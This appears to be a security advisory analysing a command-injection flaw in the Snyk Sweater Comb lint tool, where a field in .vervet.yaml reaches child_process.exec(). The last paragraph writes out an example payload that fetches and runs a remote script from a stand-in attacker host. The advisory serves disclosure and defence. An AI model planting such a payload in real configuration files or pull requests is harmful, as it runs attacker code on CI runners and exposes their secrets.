Snyk Sweater Comb CVE-2026-75486

Exploitation requires the attacker to control the content of the linters.<key>.optic-ci.original field within the .vervet.yaml configuration file in the target repository. This access can be achieved via direct repository write access, an accepted or automatically-checked-out pull request, or a compromised configuration source. A victim or CI pipeline must then execute the sweater-comb lint command against the repository containing the malicious configuration - this active user interaction (CVSS 4.0 UI:A) is a hard prerequisite. Exploitation is meaningfully limited in repositories where lint runs are gated to post-review states, where branch protection prevents unapproved changes to .vervet.yaml, or where the CI runner has no access to sensitive credentials or network resources. The CVSS 4.0 PR:L metric confirms that some level of repository access or contribution privilege is required; unauthenticated external attackers without any repository access cannot exploit this vulnerability.

The CVSS 4.0 score of 8.5 reflects high impact across confidentiality, integrity, and availability on the vulnerable system, with low privileges required and active user interaction as a prerequisite. The practical exploitation path is constrained: an attacker must be able to write or influence the contents of .vervet.yaml - through contributor access, a pull request, or a compromised upstream source - and the lint command must then execute against that configuration. The absence of a CISA KEV listing and no confirmed public proof-of-concept indicate that exploitation is not currently widespread, though the technique is mechanically straightforward once the configuration vector is established. CI/CD pipelines that automatically run sweater-comb lint against unreviewed branches represent the highest-risk deployment pattern, as the attack can be fully automated and leads directly to arbitrary command execution on the runner, enabling secrets exfiltration, credential theft, or supply chain compromise. EPSS data was not provided in the source intelligence and cannot be inferred. No conflicts between the CVSS network attack vector and the description's exploitation mechanics were identified - the network vector is consistent with the malicious pull request scenario where the attacker never needs local system access.

An attacker with contributor-level access submits a pull request inserting a payload such as $(curl https://attacker.example/payload.sh | bash) as the value of linters.api.optic-ci.original in .vervet.yaml. When a maintainer checks out the branch and runs sweater-comb lint, or when an automated CI pipeline runs lint on the PR branch, the Node.js child_process.exec() call evaluates the shell substitution and executes the attacker's payload with the privileges of the lint process. No public proof-of-concept was identified at time of analysis, but the technique is mechanically straightforward given the disclosed code path.